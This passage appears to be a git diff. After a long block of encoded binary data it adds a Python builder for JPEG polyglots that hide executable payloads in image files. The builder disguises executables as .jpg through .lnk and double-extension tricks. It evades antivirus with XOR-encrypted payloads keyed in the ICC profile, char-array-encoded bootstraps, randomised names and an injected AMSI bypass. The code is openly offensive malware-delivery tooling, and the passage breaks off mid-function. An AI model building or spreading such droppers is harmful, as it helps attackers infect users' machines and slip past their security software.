zYPj9`dpmPPaS#}M8>wyY*j63N+yEtE^;RkpWH@9<=`jI20l*jpm&89GI%3hwG`-mt7h!$G-K2F{-Loq=&Ex54F8=m`2z5<$&$c^l?sZgm2w{uulss>4a~| z7pRyI-Y;#P2(=P5EN2_3wZ;6^NDKFFg6gyfII*XIiZ3IGSuicRzEpS+6#U3Fih8tLqe3Y7vThUIbfHn|WM5ag(L)*? z(Q|#Ee#(_4yMLTvH1cwuizCEaExMUIwf={(nwZY5_-3J$>JNK%?q-?Nof4#iZKXH6 zsC-;l{04tl`caw*e?Rv+FLwc2Z~1RQ=f5SNNy^Zg)BS&yf3?K>;f;6Z(aO*=4M=5B zOv8LS`?9$G@bng+1ZT($gZ|pvFEudfy_Kxq?mPqc2TaEc-Y1s#m`W2>J-9lP#h^}TGbM<3LMNcqMLJ$5z&XC9I=PdDDx`0#-?b=xN1#!#kE_4IJ%aj8oC zpLr!;5s=p zoW8o=tIL__CE#Zkr|#j52s>CBJ|ldmcEQam=Ei)S?<=2;aOv>Bx_z$WC?yqYwoM^Z zCsQN)+$H$Q$--O}^>1G)yXL)MVJ{Jcke;`Xr<|FeV z(He|dLcyYtNFw8k7O65k*8*+0EXt>LnTf8 z@4$Sa3BKp@f}lTlDQ)_pS+@&%-D+oAvi8f}6h4y>9ND3jgW$r^X(@58aKhxWlObE%KIHUU)PwN`EjZIq{0KL!ID&)8d$m7gP!CZ|*WX9~~^la{MB` z@BQjO<2I7iO28QY2KaE&erg2Zqcs9$Z`O8LIkVhEVsQBx1^HB0`S^+7logX(NwC`} zrQldz8WQV_n1YJL7Fo_Ko_x{Rx}W_Ees!wNWH2uh_mFuB=FH}dH@q_NK|NE*YHc8; z7}D;ahj}{ZjpvrDerKB|e6q|~ZZ+yk%AD@P8V) z4JGFNjU{@dU3>B^hTE2YJL8yhnTpg#@W5ZvG(6_l$;rvzhk~l%%!*)L2NpI#sDDA^ zccOG2Yk2+}o&dLqYR zz>~LRBQuIoNg~ye-Jx<4C457v+lvKL{zrwaBB%Pln{;K1N@ZS1Xp@EQcl5HY9~r*O zH@#%utSpV*kBOLbBj<&sk`>kR_Qt=+xaIJXAslOsBx>UQuTTmJ6g!^IUpFpmO?&cma>cuKp>q?EVL>q8-}Ey-w!zQ?1C)2zT^;~AIDEJeK}%0C&* zQ#$l8Cpd7E^YS^?8U<_8K!S9qzQ$(yr65}#IAhyYYAsHy3}<|eMTcV!d`ccEoaMrF z6631vfKiKqesx`J%B6`^$1W4AA_;ZP4xAI9@vS1^a}?k{{cy=;tMG#(b*C9lA7K^u z3<7%+O$rR%TT)|+`y!`sRh$sl<;uSypEYzyd&sKvfJ&+p!rJ7XNr}&I*Tt`F9$T<{jHGV9mfG`% zvy;>b?$6hws#+dnsbcr)$}q}FA2XtPo}Nv%xfKUmMrGPQ_W17_=D!;SM@(%k#>#f$ zwrd|e@`l=j2s|l;q}~h`;xV76!lvn~Mefv)6Wr@IK>Dv=> zRlX6;Fo9|G^D_KTi`wIfwSbab&v(NYLh0IVJif4CF=sEIEh6q^Jf-LfEb-4t9{2jQ z?ZHt`d341Db8E6`j||T{ur|`gwzs#f&m{Gu{c*86&UG7|d|g^BhV2kL%k4p5oJ%?& zk>NsRf+coYAH3iLTgJe+p z*VC(N;2@p&JXV?YFXPFZX5-d%%NO^upKq0=G#Es72NB}KZGfT>1B$!#eW!j(ZCcRh0Lb4&p+zKGX?1PNnA3IGdO z;z$k4dDj7L;O`(kuNTew-^V;xRqLn_dTrJoMz5HuzQpm z3s7ifhP3@wOiaoEsyjin{)}mP8s+4DYg$}5$qtCvGLEs+TBi4=h0=vH-Y?#S+ds8c ztsRo&%u+=UNa^@Jpf!dH!OiHtICOFa3C2p6QN1@k|I(Yc*dD?-Kf6EZc4H zxpx@d!xgk*J&zqGc4S!5)Os2uf8+_GU?G4F1O5Rj;(0?m-XWWYhBi9ap%GLl)Td=D zNA23h>f(Ns#V`gxUIvDu5BmUU-0B9_!4z?ceDnmii(cHXd{btW-WvRIkqj~+fM>{dq9pPuZu*TMm>f@ z&Wxkg%%3U9{ozNJTz@8AiTzkj7h2<3$V=u1s|D%E`vofViIkQdt+yR6D!2Q(ql4(I zE#H-nrjgY`P$Y5#d)%h~he`_$mt-o*v+)7``zEf*?9mTzX?;2N zsM@^*;66RuS7^rIFg>lABg%sV?N(PD{{mz*AYnj*uT#PByeyY}E;xSA=V!UXB(?Ka zi0SCFt#|Qv^qcA$FAiLCZj;dO^aAB~DrvqWA!>GQwpArLjDkB7RSi49N&b1EH4{zm0 z!U&^dsH?GI$#)A`)1->|j#bPRQ9_&$K1QN@Ysw*5-YFg5KKOTA75^rvr7>txblJOH z`H1ouIMrH5vYXChy)?crsttGc1X2C2yDQ&4kjD3NV+tg`1W7KD-Ym18zfTM^G>qo> zoSeWn3_~0?EwYFN=0K_to^^l+`{IDj$&#q0BwQ$ZE&?Ub9X2xB3o#e90 zKiu2?W3H*JiPZHnK=|uhhXA|Ruj!*0H*yh+p{*;i50x$Ad5B;rn#el#juhV)cfJ|l zawJWnLJ4l0RwQNI&5`dEzyeA<87LGPnJe*R{-`o(M#NyHZ}Gw+)q*0Y6(c?yU(Yiz zliAx-d~*JsaMCzC_?0(PZX2VNVyH9j?oH4rjDmDr{QXbCOUj&5akTwIBP44}#;NyR zJ^@4g7!z}#U!_QWM?9LRmHXEOYQ&|?+KFh(^7{K|wUORue})3-;o8s*Q`6rh_I5IU zp^}#mnT0*i2?UjbuJh$$!DJ)n3DuRjiHECI-l3d5Z85qL0~tv{cy_+8Ni@=c14y5V z=38kyoIWbIz=P{QN7biQ#a#m7H=Li|QUbuJMhu};DPcqip@IgUb36_{zDaz~p#F85 z2JslrW*iqRM*WhKZPcoSUSy$O${kZey|J-*uI8ssnsIP;68n+{$0>i4<_>k7Uy6^6*@H@iL>cXz2v*}(8wnn`E{Fs-!p9!xbA07GeiyT3EC72Z)? z3uQRHUoxbnNWPx*ZkO~Wa`R)pB=^MmN(LoFgZ)Wv$^9|iWW=!N^{_BBDHbL<;!9Kl z+A#>!&FFzxhIzBT4FMcD!N1!P1lIB>r6-;QAPp*VDb!*-q{TPUo;0pX1E&V77`zH{ zAiTPix|EuG9I-XYpEVMrq<71qyy|Fha+i!E*&{p}J=dZD@E)kxIL#))j}O7gAFy)p zE~3{2@~TKc64$5GE-2M}lcr^^z$+fx2%^;8U((P*(sMufjKl1MU7IiKYZ|)>)mul% z(jHsj7d@s3M4L6}q!w7^d()yooP=(jFVuG}XKI={oZ&`nIjT9`&5?gJQbEpSkdvuQ zb%v$xPN3EHSolY`?K$A8+$+0E>|_lrfEYSzvtk9oTF9m`^K;k0oNQV2_ zV^*kCg!C|750T)zMOwA)hQTKe-7~_kJs0p`jn2a-0-vCz$NtM-85A8gaMcyn)*z0M z#7QuggYx``cAzmBIhNST{F5+~lm50k>mMMxI;vRXv<9x(SPqH;i3eXCpv)QMN(d9p zJ;llpVuk&rZ8PMl?^r4D)uq~M*w4|KzjcYu=lUNj6Okwdd{j`9%>KLWw{LcI!Q*Q_ z)#*I6;@{F`uhBu80zAppL4AIs{rnS@qBh$ghh+ZjAAl1x=XB-hYeA^xMJ;WdR8b}{ z6}I}t-*UZPkUBz6@@?oDe)n(zGPT?05>7g%iF6qNiJvSg3tmfZd{GlBploS%k3Ub< z?v-%rZ3M8x#jYwA=bq|njbsz!(X2lwuS#)1(rSOgC%h7Ki8SU~bgUNU+xjJKe%{+O zv6p|d=p?Ff>ew-UZS$7)n{aMhxiRDPM!GagnN_1g?kODv9!Fgn4f*bQOi>(|@%6ol zt;O&wHCy3TSemBU%DW*)iLx#(_aM}m*hpzq`MFKdkkac-)N!h-o6kPJlE>%4)+3<%YTbZU?sYC(XJtb=tH|zGmy5%a0q2tzC}32kub9JJtiD zJFAwe>h1+AvRo?$#ahfBlyrslFe+(s~*OG8)S0nQO@97kJQ7&K#r#MqXvDX(?kylgyS9%7y6~ zzrJRawCmvV@R^hzF<57mNf-je|4GWe9vwZx-q(>P-asY3j_WHXY#ZVwY0E>n&3t$8 ztJ@m2^AzUB0GFg4tK7c@B<%q!~b;%#m3?TZHHZO!GOVRV8d zEPJpPP&*~`eb0#hF56v{yJ1A}&fg~SrT*qmJ zs|DrKjI~RZR{p0#sxcJ?CA{+8b`0MH5^zK*hiL;&wL9>ZKY6wcv1Y74?<~!zC-wEX zTe9~n+P`TJ_B8o|-~9QdVl&G4f?NESQVQ5*VD{z=kx8_?s0{n@0S`-E-1kZTW9Om} zf$R#NaYcF>C4jh)IO14mRN<-QD|7o<{Q=*zb+4R4Mo}$=z%Z;3u!+ZFJGC0e?h$ps z+m)3I35P}Y@h?T?<$n_bZGxUooahPsRZTL-R0D(@tKPCG{i!50G!Vtuwz2pd=KmyC zU9x$S%AFTd#%;Q5UA)8$eCqKDmeP(j35F0v>3QE~nh`KRXQ`^gqmjyU<7 zB>ka@S&bjT&UR8Cb}H4-!jw{PA7WYv^(>Qrk5Ni}j<#||K73B}mImnp?p;bimC(vK zxiISd=$bt|hj8Y5~nlc%D23Ey9AU%NA!l7KD-F}+QSUHsN_l#fh+@i^69hBv1WXN@Gf#*|6*fh!&_qaC_jpBg*LNou#s>vJ8&=v;XVq zc$;^W!-M?XY<@?Wx2brem+=oEvkF9DYn)Y3mlYpQcZ6sdUQ~ajUpBJ%2l(NVjzllH z(^k*;1)33`Mk09bbau*OuNFpJUNmQw{O@b_YV$pN^p5`kp%e%X&-JU{3-5)a8ywSE zgo*zcL>?KfDOJK}7N&()to{KyoWY02%;my?tz$~?q!`{T8S@iEq9W8j7F``Q(9YRs zac3~5Bn;+KLK|l62@Xw#3h0H_V6R+td=DFUfwo@Le7=K`S30RY{1_vy+q&_}3ToY+ z!g3FdjNZ3kE}|R?&2i4`{w^QD5l`W(h_WAJN%_z`s{yS6nx)QTo*MivybXvCSNdL> zE_ytFUPYm2J1j}aK}0a=EY>EF{{aKwDittV71PvA9PSpk=7|Hlu2D$=`FRJQa1=iD zt2q~>x;^I}3fNZq{j`H|`6tw{{5!Wnm|??`?3RHmLoadpNSDe{tAT7!MSO!2$41e*sL#FO*oyc2x(((t;ME|acHY+Lo5}Vay zlNjfKSp_`@Uwd-z+`#_DY60jRw?MKhbjvh9e>|S zntzy4s3UByTjcRXH{VXf?@F0{Gt#Jj2U>WJPWY#@9UnDlZNRMnjpQ-CElHS>P=c(H?Ec0 zz1!iRoj?Z$z zCEunLYw!$1-{dMIgnS5!4r+YdwF4wMUf|j9Pj4Ew_!ZROT9@rgzg^5SU9wFRVKCb# z!7>YD1%My-@`maqEsLRsc$`si<}KORZrto8E;O)+o7{^uDR0FFJOw^E zlMb{n4``+_7g=-WX$7J1GE?DCr2Sc;pqBd|G#(9ZcPMyft0@5gAqt%p!1k;u?fcZL zk*xROyJ=pl+vdBVVkeb9bf`!vByCYNsB|3E8HftioW5;+aC0328pRk=1a+iZYe;V{ zx9N&LWLAYp!~gX7_*c}Tk=Jtd0R>(Sd$mO!FD9yL7JAj{QZfA{GJ-aKc41&^wRh{j zd%|wHEPwd|?eSg|_#0Sd;y5k;?CTLbXL5ulQi$yGt@9;)|6+cc-XB#y^!vpiKHt%N z>`8$S0e^kT2_4l0=P32!<6*}{RHB4vhzjvMvMP*Gjtd<)U1RS)t!ym~Qg9TsFo%N? zU0L!vHe8hlS`dZmS&}p3$di2wBP}L-B{74tulO138FJ_~)ST<2=w4W!3e+4y41qYd1)~sg>My6q;FgHM(AMhj9fA`pyWxr+ zHqv7vPn!aSd~uzb(C;s`3drY3k}A=ST48 zY2siSQfO-sie06-@HV*DzQr#3uMdYu$KfF|GxfgAGe?u=N*@2)q~B26j`JMuwN2EuL?qV z9`NnEG3Ccq24n27KO{dbR{Iz<&EBvy9i1F&tF=bk{+JrR{Sf~QY}!w=_(ApY9_L7n zb*8C93b<+hwaN$2@VeqB{rHdHi9umFte5oZ@GGv*SYxld$Yp9M?i9a!AI7`{O18FX zp3Zd072WSxem|jD`725p> zN;NuTHoM-Boi!(`-2unS0VPpB&ZaWZsV{3L0V>;!CzSV*Ae5d>gS0ZXo?$G?lL+yw zK~YYhS8&v=xM`sX@+r85W1r>)ev~yjBh7`n5{A!Jnc2#&s!t-*3u9$3ydSv1W5I)z z)1NGSkE54Ij1ich0)j35DF@&AuYO8x`v(A*whaMyYRk1&hSYOot18x9l(`B+DtmE^ zAERcFtgPtW1or;`cFZR~#`a&gI2f_%a9@6TzOGm{ig;YiZ+Ic+(TS65zkbpmo*V{5 z`>egnZfq$1$#O?b3VUKfq<*H`czj*7ihpcw2)o(1e>dhzH|jYFA11Ht7ctszd>6TZ zks9f{j1ZyWXr^XA-)}DmB==JO8w0p)nm)0Lve+a~%ge}Bt?DOpVsnAiq4?jEi_H@_ z*A*(>9ji8xra0TJe-$h-5tvJ+Q=iCubuX=zD*?MlwR38<_ytC;rBmWq&^$fW#93d| zrJZ*7d`9@(O-hv&URL@?Rh+Zjr0LU6xe3W%(@5{*gkNwGITsq$tO-^qMU)8@3f zI^qyeL30hu)RQgT-3p_0WcN~I`CP>9h*MNl^it?*xn=c8>LcvzSl{L`HKt_Dx&yrd zQSzWS{$-2Ra5$GPDuq9&kFu zHi#pznX|vyxUSj zw&|>p^iQ9b(lzLl-48_j#`1Q|s;4BDvJRVj?7D1e$x;#G;F$&HeC_m3pT&`-Kpl~C zoeH)Q+IOcK#G*81+k}M(lt0(QgSEf0PLc#W7uNH*TR;ekT{RbiP$d}zktm{91(Fp~ z4c$U6&bf;@;)Unn+MCMH_SLIav;bGsdNpd!q`_m`0wPRHL^mzX?{?BTW9uti;3aPV z0H&;~U(R%egD1#nSxw$ETdRMpGCN({&*WUFDSqUbXvK#NzYcT9 zipipZcu!!^9qdJ>)mc9*m@GCv0ZR&k(E_K1%D5)ipg~+*!p88hn0mfzsp&ScQhkN4 zY&*lPsE`*Yz#p*dYL$h6^~jR&-{pKA&}rjU>)&Mv6zKXYSBx>m54}VPwYke1{HXMD zlNx&Yvjq_a7)@;?BLB>lY5sj%>Y&5uprs2FR9?Y~}mW}Qn(hco?d zrK1>ZbpxeegfzqQ*#JbYoRDBn;7YKVt=Oo&#*f@>5~7Q;np1hD$~QY@93TNb&t4jQ z{OaeD*V}q}c_Ds2!aupI=rF!)SE@DE{3wi#y@p{k#)rf?sCrN)$T8?9g!R&SO;aMu z(q?zX_!xNu=q2La`4zC6yu2mMb|SVE{sFu}0tR%9O?Kbb;m0HjwQC9=-o-CI?QJ7L z`BhuKH1IOi4U%q>Jy~F_Pi4ZKEryN_*M^3#Ml%++{%T8&nWo4f{s3bP-*e_IPD{58 zbhXoTYgaDj4rJd(qQBPrsnkI=r9-IvDc1UMu2Xf(FLry;z|lxg?aK&8b_9r;|)WD0lRQYONc&UnJ~L`r62LyrH(wJ5(j_CoZ~_2l?TC`gthWaXH7 zJ(~y+e!DTq@L#5$W2Ct=yp*hq#^XW5d23CxkRCi%Do&_o=R?qwObnB3vTisHCXCVE zfSx8Kcw#>*uNez}97?uj&UaTgPLK$k8zx)Q%1P{ugR)Hldvz8UCp|a@x|Fx`Hfbka zIxVdYe%@QD$2@6t2~nT0t4xi1NeSN5V{Pf`(h@6KKe%&PI=Y7Mfc-jXAQ8=HUUy!~ zt*CZ(j|z^Nts^Xf{ZFX*dz9XiMg3XkvXv5JNtgXtk~{;`MNs@zhC`_#_?-%xl#>^O zx9sCs0o2 zd7$RI|Lp$R^0BU~;lG#GT|P&|8;a4RAX$y6R;NE_#~aHvUy?6c%!k2eh_WhgmS0Op zemncc2R#`|Hl=lh?{^M!7O&)6FKaAZ>N#BfZ_e%xLRzPHj9FCNe!Rn=bNp%Y!#Leo zNl)(bJ4Bc;V7Q7sFt%sL7l4n7{Cox47(l2WyLh{Jo3!3Hi{-X~$&B3w@6z{-0 zrg%ahAuv)y(IFK?KdS0^Xjev3Z0{8}=StA@@WS7t7WH2)cF>CBoZ47443p%KcgB;U zA*TOwMr7cN;1_K)dv?eEX;bveNl%RkHe9bE_k=vDzJKscmDqn|v+r}UkNw|$Vq zim(_H+bCU=_v*@zh5Y5FZ@M!mqvjRQ#o0gbVr8acZBMs5WiES*xv8D+2luR(B{3u1 z^$Z=7*Sf*T)KunyH29~R^GTvx)Owm(Fz$HHx-8UysdpR?d{_wobf~EiF)v8sss~jJ z&A2Idsd&F#nNZ6ZPw12%l;z82FcDrSi6qD0WY!c^JmBDVNOTzKwn*dm_3;cd=M!gYw3@%g>JCtAd;fRL2xs*22)JBrX#>_9i zzHK`#;wYO_74G1u*c<_d<;1(KE|I<^t^ddk-vZ*6+!r#Qp7D63IsIV)Lj;baF4PyA zUPpW%vpjpei5?G8`MLq5`d8a0H&vXY;^`1oMO6}~Z~p+tp1hom3;>jAou&39I@uF+ zqUz9K{$=C+1oEAA7%5ZT)v%Xtb)K$6%xLJR%>rO18?+%su}74$QUF9`YBhWI{7 z3jCBST9$rnq295a;X4R<0uogPD3oBFL78r`cN5b3#DLmng%vACie*rhi0m(3ZzH9o zq{Q`84lmyJ+30ll(_7N&x5An>It<0zl*Gsa1M_LiQlom zS@`Pg=0MdNAjb6IOTY9F0AZgSF%MIsgJj4o_xU0(L6Iu7@xO;#oPIq}6<3XcDdF6x zd#}&2(f1mtP|`K4IBHUMyf4S($LL8TrCdOfCuolep8e(+y42~Ch(>$^i-b-1*5ztmBn6aDo88`3n1*nlT08Ac+gFy`Ou4*kJ>8&Tc;*~4?87)WJ z#jvlso^X|qA@~tB2&EY1es8Ock*l+Zyb~NFpmvflH8`!R4t{jlo_^c;6a>k&@3PoS zH$KjM6QG@Uc^}$TYEwm{F7hiPoLR7^OaGD`KgB?wm1mN-+ld4f&FL}MTS0y=P&rw; zvKO&P}y*=^Z^x_)HAGpgC=N>H8<=zL+)zE~W}0hbe1Ruz%jR&q_E z))4rrhwXuo2o*}K^k>y>PWi#r34_XbdK||06sztSnXK@oq~5EWNvSB9b6Y82pX$AC z|0tt|n;+)zT!aaPXcw249%pe`I>oXnNCm z^opmckA+)lJpp#gv$WLZd2T3pD6l??nI#MIZy3?j=<`T6QgCmI574Y&DQaw6eplwC z{eCX%{%3@!qfIME`1zzM*6|XLpNDv2b`gU3F7tu_G~l(irs!bw&hb-$rA&vSx-pex za&k7LUHAGxc5cu^(1K35&Ex@2E^(vkQ=$Xl!}aX+78j}NcM~X-Yict^>4%tGug871 zp6mXRQ&LjB@B3LtqvGFgO7G}TdF~d1;@;eYmJG+iAHRYp^oh#-r*$Ds>@{y|T;GQM z9;D%~|B9Z^Sa7@5&5jIG}knAt2hrWLAc z@ByZbg)`%MN}X?<2eiX^%+|$uxKj+@d^arHB5W#IU6{| zJC#rEJRz@gZFMgdt9UYWt=|kis9j?{$X*@2ak+{(Ac4$X4O+=wQws?;@n%}p5gY_0 z(7S@B4^0|9rQ$9|vX${a&*XjdQ#AfBq%Cvuen;DtPImSs|uVhP}9W|4KZx$*0n|(OTKjdT%0H_=!+~1BFd} zwSv5M_%%1TB0S2Uk?Q*x#&KQbdh>HgB7^HVUsr49Oc@9p6}%@*q+(~jhE$heplw`K zLO&hF!8FIDZ+bi>znuOSj|(4BeaF4{`uRp0U15``Kef4w#IdGfhVDHM6?7xAX49;6 zNzY;Pli*^muc$Wb6lyF8$~Uk%`hXSdL?``Ya#BQnEm&PVPy0S-)sagxDLQ%fX*fcD zQ!Ui-nRFtEgsAhvSX7sGRJ6Ku?`B0UuDq(VOl&-$KCaqhgX*u>@cem=W}9~=WY{wa z)*;XM0>qek(L=g6k(suTTHIvDXh+X`!+NNmlG{!k^;Ng)G*MA+vB@AZkZ+b?d!_#%+3LQG#2x&)3PM(kUbwfYe|U&yZ1XG zPh~eoRgGy|ypr`;!VlViGwh-a=+>k-DYTkjtOdmU7MrGxlV~bU(ok@Ma!jMMC=ki* z8|t;x;05r*9Ym>+uX0eoSy*h0^rA_pN2Z0k7iEU|D(jk^xk0!9&XYKDtm{G}IG6hs z_NM-CdnO(E)W%7!yqcTz@@+EYQhspE`NLjJ+p4QL&E=hr@4UuaP|wA-hHNV^N5B2) z@GH#;jc&?-W+0mSk)E8pRc9KrFB|swv^9!=SG!GlWPMGSwe%3}trb;7f{qXcMxshb zIf1S1ZlR9Cf;DXgyR8x}C)kCAS8*%~IF&zs`D={%pAgCE!xEXn{(lMcZ;CxD`EIy3 z!HL~xSGT2$ipsvpkA1T}ol*pfl6`qN^ZS|^cpP8E%p$ue@Lt*5PWW3QUoZL$cF1}` zeBWfxHwM|rjfz?x>LvNZwR$o$v0|@Xzq-qdUJOQtI@(2!eX3zcl;zJ+?wC$ch@xsm z5?F5O5i~@_7+Z`7!>H5~Rfy%V0J)3$VZfcNeKA7w3xobGBMlt&DRyOBxfz}g~yi~1H^jTS{R<$L9hA< zYkE24#jO95kL96ELXZ0TXmJmS>53yEI$sW0_TL~`$tSTAh|&~>dj!wl_ScK-D~fn{ zG8PjhCU{DfiP*Kxdc2|eksVYvsUpN;Cb?*CPY=_`ARU?f4VhcW%#2Ay5K5K53oSWi zBq|Zom-Vpyy^vluxI6HN2F8d=hFGfbO0({IAI>!=e!st061~bNpBLL>aj?S&5+9o7 z6dY(fh*LHbHz@n@{IEjbwQ>j0hmpgH>y4Z|M#kI7`;V`wst@0H{jpo*nOY|HaH9^) zzPuxXUsdi`%?p>WCmGR(oD@HSixpq=uaAWuTxL+$?DXCazV*#?O|(Z_P*wF|xbOW@ zI=W5BnKOIx(mBKD5RN@Q(iGKB`gC~&%$qC!QH?Mxe@Un{$9OrhCUATZ(vvD}*21%5 zT9mpx2lel!*1l1D+4piwBbk`sLZmq`uh_h4t=K@az4EWwn!9ZFz4Z)8`|1jgcI_h3 z&&R)i_ER}l3Oel70$W94rCUDc6lwup?P65%0g1!r7E?5Iy|Aq6-HI*x&490`sZCRz;d(G$2s|x$^9Kyep zAdcNNy7-ANW1C~uL~`H$OP*C)e6qgd=5>l;HDLYWHei?V2-nEG-db*Chw^*L|6WPZ z2w;k(IEjGKT?x&my-o_**;^p1*;O%j6@X|vnpC`zaq@=}#|!8RLmIvhz>a`JYEpEJ9n$ar$U8xdO zLwUWGL00^AYRy9?kvO>T^XIf7>|$P${4jqh$HHQ&BHf5%Rkc%98T61j;H!5k8f3GR zfDg>U7TMrH7l78xGt#-FlsT)}(R>1z830I#s_9+2&@;^`G*)RV0ifBDAQDp$V z$Se{XtTZ>@Ou;8C3 z7b*)xY4CxEaeW$3s6w8v>K8i>=zD(>qB{z5Hd{*w{bJ>$vzq{zf#!?!;pTVg4BF6E za#9C@)b-~1a@0r(hF*l@Wj(FXOhkTM&sX#V4n~^jP(vb^>WyJaa5@H9Zj#|qD`YSH zvBs#FN#kw0Cf*1(8&Rv^P^uD~BV_MU#U7t3^k>|82T_jiEmll*tZ#@WX1|;5>J+x7 zHrLUdY^|~Y8;$FyY$BBo$2=)A7e1QZ3YCj?;Uibt=4e-Xr@tjPpS+h=iesDIjr%wgqO8RZoTpXr*`?Dhosd+jHIiVacW zlI){v@EzI}YANFSz0&{FOA;9E?jE#Q*-hOOBgTH8*_H3_al*ZAT)L3Ltsqv=!5O{s z2i}k=XVy`2XRWL>`>U?WQ=m0K27b7Y(t}nhbxLe5g%rxSpy)TWLB%GyZAtNjY%ep^ z3HQ7ul9}_B0}24z{ysd$(R=0>NeH@+L2#`)Q`iX`SjM}8LWxjoWPN4%?ToR^fRdHIovnA*pxlvkjw z?TNkY7a@zvy}MA6hf?k8bghOz)~;44>QC7a`qLx`j0j;g&#piv3CLPV8Tvm_YfBF& z^>4&pmj`7~d-7q^c0AG>d6_l-DZO7%9d9b$a?$HQds zdO;Nn(8fp6|X8eF6WOy1( z>QL=Ko`Dnki8-MnIGB4GxSpeU=~Qj2uxSy;x26ixRwcGe;lBB(5UL%$@Skb+rxY7%VIoVE?Wha0PXHV9DSQ;v10+3U3HV6}WX`HR8|6x}VzRT$7H|i0_}90@ zZdz&H>B_U#31}HNaGM&0f9*<4!6#@lpC_9>rsuVorQci$;EcfNa4FWsh&j zy(jqWl!t#b!mRE#`w*N84iH`w8_$4WuRn(FJ=n~SB$^yeI2%&b3US4KT}pq0X-Q8V zBVuXFH&->4>Dr=1PqjisKi0ri-(u~^;hU>yHvFJ<6Bx6yH#+>S>J6@|(EE?W=+8H1 z)l4J%AK2i>iIXQboQQM776D~O#jY5O7W4d42J4#}D$(Wniz*UTZ#mBp^nJghcseDsr5$*YZuR9$;+AOT30(fFkdZ&C@bSdMg5-DwK(=gxFwZ(5PD{n z&;)UKy8-0t{tq`$QlGtA>Fz7mYnpBJVJFm{lm?2k=P2h%nG>W*J@GjO*)TmFLpk!+ zrVyxc3S#By6zzES-d1u4iHQ%{`T`1~r8lQPISE(KJ!To`&FD^PS);|_rOVk^^^ zgo}!s2F`wYHQ6xUTNSp%DvKA|W873MrPVICmk;l{p?cknDCtgRlOUK&ihQ}C#Cb_e zOqq%@Hv*=|dd>)}a#1Y*#mAKbGRR3m7Dw)z*i@g5KQ>$5?f#0?YF#IfuDzw-)IPc9 zYCFkTGj>9u=I=ZssYIV?Ocxtd_}UylY8Cn!k|!Vw>8rc~gJpMi<3{nAL`5HVE1kkA zCc3_a0Xb+$11Vn3DXp_eb#&edKirRkrv;z5Hbp$ColB{HBgV-_u!>p2ZzrpZ({nDj`I|0Ky)md&=i|Ch0&R;0olf&{Y@QG2K`=rz1 z!0jad%Gvkgp(nueNk=x}D+X0H4I{y9!lum@X|}}@*3beV0&}E%25PbneGYHW`7F6} ziP-lf%Aq^F88;V|zxf^;`4bxhscT*3fBXylNm9ew=0hA=Y;g>oddT5|4_.zip → extract → Finder shows .jpg → execute + Linux: .jpg → content-based detection → execute (Thunar/Nemo/Caja) + Windows: .lnk → Explorer hides .lnk → shows .jpg → execute + +AV evasion (built into the polyglot engine): + - Payload XOR-encrypted, key stored in the JPEG ICC profile + - Bootstrap encoded as numeric char-arrays (no plaintext strings) + - Looks like a real JPEG with valid ICC color profile metadata + - AMSI bypass injected before payload execution (Windows) + - Variable names randomized per build +""" + +import argparse +import base64 +import os +import stat +import struct +import subprocess +import sys +import tempfile +import textwrap +import zipfile +import random +import string + + +# ── Constants ────────────────────────────────────────────────────────────────── + +POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine') +SUPPORTED_SCRIPTS = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'} +SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'} + + +# ── Terminal colors ──────────────────────────────────────────────────────────── + +class C: + BOLD = '\033[1m' if sys.stdout.isatty() else '' + GREEN = '\033[32m' if sys.stdout.isatty() else '' + RED = '\033[31m' if sys.stdout.isatty() else '' + CYAN = '\033[36m' if sys.stdout.isatty() else '' + DIM = '\033[2m' if sys.stdout.isatty() else '' + END = '\033[0m' if sys.stdout.isatty() else '' + + +def ok(msg): print(f"{C.GREEN}[+]{C.END} {msg}") +def info(msg): print(f" {C.DIM}{msg}{C.END}") +def warn(msg): print(f"{C.RED}[!]{C.END} {msg}") +def head(msg): print(f"\n{C.BOLD}{msg}{C.END}") + + +# ── Helpers ──────────────────────────────────────────────────────────────────── + +def stem(path: str) -> str: + return os.path.splitext(os.path.basename(path))[0] + +def b64enc(path: str) -> str: + with open(path, 'rb') as f: + return base64.b64encode(f.read()).decode() + +def rand_var(length: int = 6) -> str: + return '_' + ''.join(random.choices(string.ascii_lowercase, k=length)) + +def payload_type(path: str) -> str: + ext = os.path.splitext(path)[1].lower() + if ext in SUPPORTED_SCRIPTS: return 'script' + if ext in SUPPORTED_BINARIES: return 'binary' + return 'unknown' + + +# ── Polyglot builder ─────────────────────── + +def build_polyglot(cover: str, output: str, command: str = '', + payload_file: str = '', show: bool = False, + keep: bool = False, extract_dir: str = '') -> str: + """ + Builds a JPEG polyglot using the d4rc0d3 engine. + + Engine JPEG structure: + SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) | + APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) | + JPEG image data | EOI | [optional post-EOI payload for scripts/binaries] + + Engine XOR: 16-byte random key stored in the ICC Profile ID field. + Engine PS obfuscation: double char-array encoding, no plaintext strings. + Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe. + + Combined mode (command + payload_file): + The engine CLI does not support combined mode directly. + We implement it by prepending the command to a temporary PS1 stub that + wraps the original payload. For non-PS1 payloads we use interactive stdin. + """ + if not os.path.isfile(POLYGLOT_ENGINE): + raise FileNotFoundError( + f"Polyglot engine not found: {POLYGLOT_ENGINE}\n" + f"Compile with: ./build.sh" + ) + + base_cmd = [POLYGLOT_ENGINE, '-o', output] + if show: base_cmd.append('--show') + if keep: base_cmd.append('--keep') + if extract_dir: base_cmd += ['-d', extract_dir] + + if command and payload_file: + # Combined mode: prepend the shell command as a PS1 pre-exec stub, + # then embed it alongside the original payload. + # Strategy: write a temp .ps1 that starts with the pre-command, then + # loads and dot-sources the original payload file. + ext = os.path.splitext(payload_file)[1].lower() + if ext == '.ps1': + # Create a combined PS1 that runs the command then the original script + with open(payload_file, 'r', errors='replace') as f: + orig_ps = f.read() + combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}" + with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf: + tf.write(combined_ps) + tmp_ps = tf.name + try: + cmd = base_cmd + [cover, tmp_ps] + result = subprocess.run(cmd, capture_output=True, text=True) + finally: + os.unlink(tmp_ps) + else: + # For non-PS1 payloads: use interactive mode via stdin (option 3) + # Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output + stdin_input = 